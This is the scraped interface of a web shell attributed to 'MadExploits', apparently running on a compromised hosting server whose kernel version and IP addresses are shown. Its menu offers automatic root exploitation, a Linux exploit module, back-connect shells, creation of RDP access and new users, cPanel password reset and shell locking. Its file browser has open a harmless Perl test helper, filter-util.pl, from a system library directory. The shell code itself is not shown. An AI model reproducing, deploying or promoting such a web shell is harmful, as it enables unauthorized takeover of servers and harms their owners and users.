Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 3.141.7.165
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib64 /
perl5 /
vendor_perl /
Filter /
Util /
[ HOME SHELL ]
Name
Size
Permission
Action
Call.pm
12.61
KB
-rw-r--r--
Exec.pm
1.2
KB
-rw-r--r--
filter-util.pl
988
B
-rw-r--r--
perlfilter.pod
20.56
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : filter-util.pl
use strict ; use warnings; use vars qw( $Perl $Inc); sub readFile { my ($filename) = @_ ; my ($string) = '' ; open (F, "<$filename") or die "Cannot open $filename: $!\n" ; while (<F>) { $string .= $_ } close F ; $string ; } sub writeFile { my($filename, @strings) = @_ ; open (F, ">$filename") or die "Cannot open $filename: $!\n" ; binmode(F) if $filename =~ /bin$/i; foreach (@strings) { print F } close F or die "Could not close: $!" ; } sub ok { my($number, $result, $note) = @_ ; $note = "" if ! defined $note ; if ($note) { $note = "# $note" if $note !~ /^\s*#/ ; $note =~ s/^\s*/ / ; } print "not " if !$result ; print "ok ${number}${note}\n"; } $Inc = '' ; foreach (@INC) { $Inc .= "\"-I$_\" " } $Inc = "-I::lib" if $^O eq 'MacOS'; $Perl = '' ; $Perl = ($ENV{'FULLPERL'} or $^X or 'perl') ; $Perl = "$Perl -MMac::err=unix" if $^O eq 'MacOS'; $Perl = "$Perl -w" ; 1;
Close
